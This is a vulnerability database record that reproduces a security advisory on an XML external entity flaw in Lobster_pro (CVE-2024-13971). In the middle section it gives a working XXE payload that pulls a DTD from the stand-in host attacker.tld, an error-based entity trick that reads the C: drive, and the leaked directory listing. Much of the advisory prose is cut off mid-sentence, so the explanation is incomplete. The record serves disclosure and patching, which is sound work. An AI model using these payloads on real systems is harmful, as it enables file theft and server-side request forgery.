GCVE-1988-2026-0250
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-08 08:13
VLAI
EPSS
VEX
Title
SCHUTZWERK-SA-2024-005: Arbitrary File Read and Server Side Request Forgery via XML External Entities in Lobster_pro (CVE-2024-13971)
Summary
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Lobster_pro
============================================================================================
arbitrary services.
Metadata
========
- - Affected product: Lobster_pro
- - Affected version: versions prior to 4.12.6-GA
- - Vendor: Lobster DATA GmbH
- - CVE ID: CVE-2024-13971
- - CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-13971
- - CVSS 4.0 score: 7.7
- - Advisory URL: https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-005/
Details
=======
part of the customer's internet-facing assets.
application:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lbsterq [
<!ENTITY % lobster SYSTEM "http://attacker.tld/map.dtd";>
%lobster;
]>
<properties>lobster</properties>
listings or HTTP responses via the error message returned by the endpoint:
<!ENTITY % cfga SYSTEM "file:///c:">
<!ENTITY % eea "<!ENTITY % lobsterdata SYSTEM '#%cfga;'>">
%eea;
%lobsterdata;
listing:
<?xml version="1.0" encoding="UTF-8"?>
<core:ErrorResponse xmlns:core="CORESYSTEM">
<errorInfo>
<errorCode>500</errorCode>
<httpResponseStatus>200</httpResponseStatus>
<locale>en</locale>
<errorText>javax.xml.bind.UnmarshalException
- with linked exception:
Exception Description: An error occurred unmarshalling the document
Message: no protocol: #$Recycle.Bin
Config.Msi
[...]
pagefile.sys
PerfLogs
ProgramData
Program Files
Program Files (x86)
Programme
[...]
temp
Users
Windows
]</errorText>
<errorType>java.io.IOException</errorType>
<errorLevel>1</errorLevel>
</errorInfo>
</core:ErrorResponse>
recursive entity declarations, thus preventing data exfiltration.
Risk
====
hash.
Solution/Mitigation
===================
Update to Lobster_pro release 4.12.6-GA or higher.
Timeline
========
- - 2024-08-12 Initial contact with vendor
- - 2024-08-14 Vulnerability reported to vendor
- - 2024-08-14 CVE ID requested
- - 2024-08-22 Initial feedback received from vendor: unable to reproduce
- - 2024-08-28 Vulnerability demonstrated in vendor's "Community server"
- - 2025-07-03 Reserved CVE ID CVE-2024-13971
- - 2026-04-30 Advisory released
Credits
=======
The vulnerability was discovered by Marcelo Reyes of SCHUTZWERK GmbH.
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--
SCHUTZWERK GmbH, Pfarrer-Weiß-Weg 12, 89077 Ulm, Germany
Zertifiziert / Certified ISO 27001, 9001 and TISAX
Phone +49 731 977 191 0
advisories () schutzwerk com / www.schutzwerk.com
Geschäftsführer / Managing Directors:
Jakob Pietzka, Michael Schäfer
Amtsgericht Ulm / HRB 727391
Datenschutz / Data Protection www.schutzwerk.com/datenschutz
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| unknown | SCHUTZWERK-SA-2024-005 Arbitrary File |
Affected:
unknown
|
guessed |
Relationships
reference
GCVE-1988-2026-0250 (this record)
- related CVE-2024-13971
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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